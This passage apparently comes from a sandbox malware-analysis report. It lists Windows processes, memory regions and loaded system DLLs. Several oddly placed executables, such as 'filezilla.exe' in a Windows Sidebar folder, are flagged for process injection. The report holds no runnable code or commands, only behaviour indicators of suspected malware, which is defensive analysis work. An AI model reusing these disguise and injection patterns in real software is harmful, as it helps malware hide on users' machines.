= 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4873 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4874 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4875 start_va = 0x7ed40000 end_va = 0x7ee3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ed40000" filename = "" Region: id = 4876 start_va = 0x7ee40000 end_va = 0x7ee62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ee40000" filename = "" Region: id = 4877 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4878 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4879 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4880 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4881 start_va = 0xa20000 end_va = 0xa23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 4882 start_va = 0xa50000 end_va = 0xa50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 4883 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4884 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4885 start_va = 0x4d0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4886 start_va = 0xa60000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 4887 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4888 start_va = 0xa70000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 4889 start_va = 0xa70000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 4890 start_va = 0x24e0000 end_va = 0x2816fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 207 os_tid = 0xe90 Thread: id = 208 os_tid = 0xe88 Thread: id = 378 os_tid = 0x750 Process: id = "33" image_name = "filezilla.exe" filename = "c:\\program files\\windows sidebar\\filezilla.exe" page_root = "0x3be9e000" os_pid = "0xe7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Sidebar\\filezilla.exe\" " cur_dir = "C:\\Program Files\\Windows Sidebar\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4891 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4892 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4893 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4894 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4895 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 4896 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 4897 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4898 start_va = 0xc0000 end_va = 0x17dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4899 start_va = 0x180000 end_va = 0x183fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4900 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4901 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4902 start_va = 0x1f0000 end_va = 0x1f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 4903 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4904 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4905 start_va = 0x630000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 4906 start_va = 0x730000 end_va = 0x8b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 4907 start_va = 0x970000 end_va = 0x986fff monitored = 0 entry_point = 0x9714a1 region_type = mapped_file name = "filezilla.exe" filename = "\\Program Files\\Windows Sidebar\\filezilla.exe" (normalized: "c:\\program files\\windows sidebar\\filezilla.exe") Region: id = 4908 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 4909 start_va = 0xb20000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 4910 start_va = 0x1fd0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 4911 start_va = 0x1fe0000 end_va = 0x209bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fe0000" filename = "" Region: id = 4912 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 4913 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4914 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4915 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4916 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4917 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4918 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4919 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4920 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4921 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4922 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4923 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4924 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4925 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4926 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4927 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4928 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4929 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4930 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4931 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4932 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4933 start_va = 0x7e410000 end_va = 0x7e50ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e410000" filename = "" Region: id = 4934 start_va = 0x7e510000 end_va = 0x7e532fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e510000" filename = "" Region: id = 4935 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4936 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4937 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4938 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4939 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4940 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 4941 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4942 start_va = 0x500000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 4943 start_va = 0x2110000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 4944 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 4945 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4946 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 4947 start_va = 0x540000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 4948 start_va = 0x2210000 end_va = 0x2546fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 209 os_tid = 0xe8c Thread: id = 210 os_tid = 0xe80 Thread: id = 379 os_tid = 0x92c Process: id = "34" image_name = "institution_big_direction.exe" filename = "c:\\program files\\msbuild\\institution_big_direction.exe" page_root = "0x73f2f000" os_pid = "0xe18" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\MSBuild\\institution_big_direction.exe\" " cur_dir = "C:\\Program Files\\MSBuild\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5352 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5353 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5354 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5355 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5356 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5357 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5358 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5359 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5360 start_va = 0x1c0000 end_va = 0x1d6fff monitored = 0 entry_point = 0x1c14a1 region_type = mapped_file name = "institution_big_direction.exe" filename = "\\Program Files\\MSBuild\\institution_big_direction.exe" (normalized: "c:\\program files\\msbuild\\institution_big_direction.exe") Region: id = 5361 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5362 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5363 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 5364 start_va = 0x440000 end_va = 0x4fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5365 start_va = 0x640000 end_va = 0x7c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 5366 start_va = 0x7d0000 end_va = 0x950fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 5367 start_va = 0xd70000 end_va = 0xd73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 5368 start_va = 0xd80000 end_va = 0xd83fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 5369 start_va = 0xdf0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 5370 start_va = 0xe00000 end_va = 0xebbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 5371 start_va = 0xf70000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 5372 start_va = 0x1070000 end_va = 0x246ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001070000" filename = "" Region: id = 5373 start_va = 0x2610000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 5374 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5375 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5376 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5377 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5378 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5379 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5380 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5381 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5382 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5383 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5384 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5385 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5386 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5387 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5388 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5389 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5390 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5391 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5392 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5393 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5394 start_va = 0x7e6e0000 end_va = 0x7e7dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e6e0000" filename = "" Region: id = 5395 start_va = 0x7e7e0000 end_va = 0x7e802fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e7e0000" filename = "" Region: id = 5396 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5397 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5398 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5399 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5400 start_va = 0xd90000 end_va = 0xd93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 5401 start_va = 0xda0000 end_va = 0xda0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 5402 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5403 start_va = 0x500000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 5404 start_va = 0x540000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 5405 start_va = 0xdb0000 end_va = 0xdb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000db0000" filename = "" Region: id = 5406 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5936 start_va = 0xdc0000 end_va = 0xdc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dc0000" filename = "" Region: id = 5937 start_va = 0xec0000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 5938 start_va = 0x2620000 end_va = 0x2956fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 211 os_tid = 0xe2c Thread: id = 212 os_tid = 0xe1c Thread: id = 387 os_tid = 0x10b4 Process: id = "35" image_name = "fling.exe" filename = "c:\\program files\\windows journal\\fling.exe" page_root = "0x40ab2000" os_pid = "0xe94" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Journal\\fling.exe\" " cur_dir = "C:\\Program Files\\Windows Journal\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], 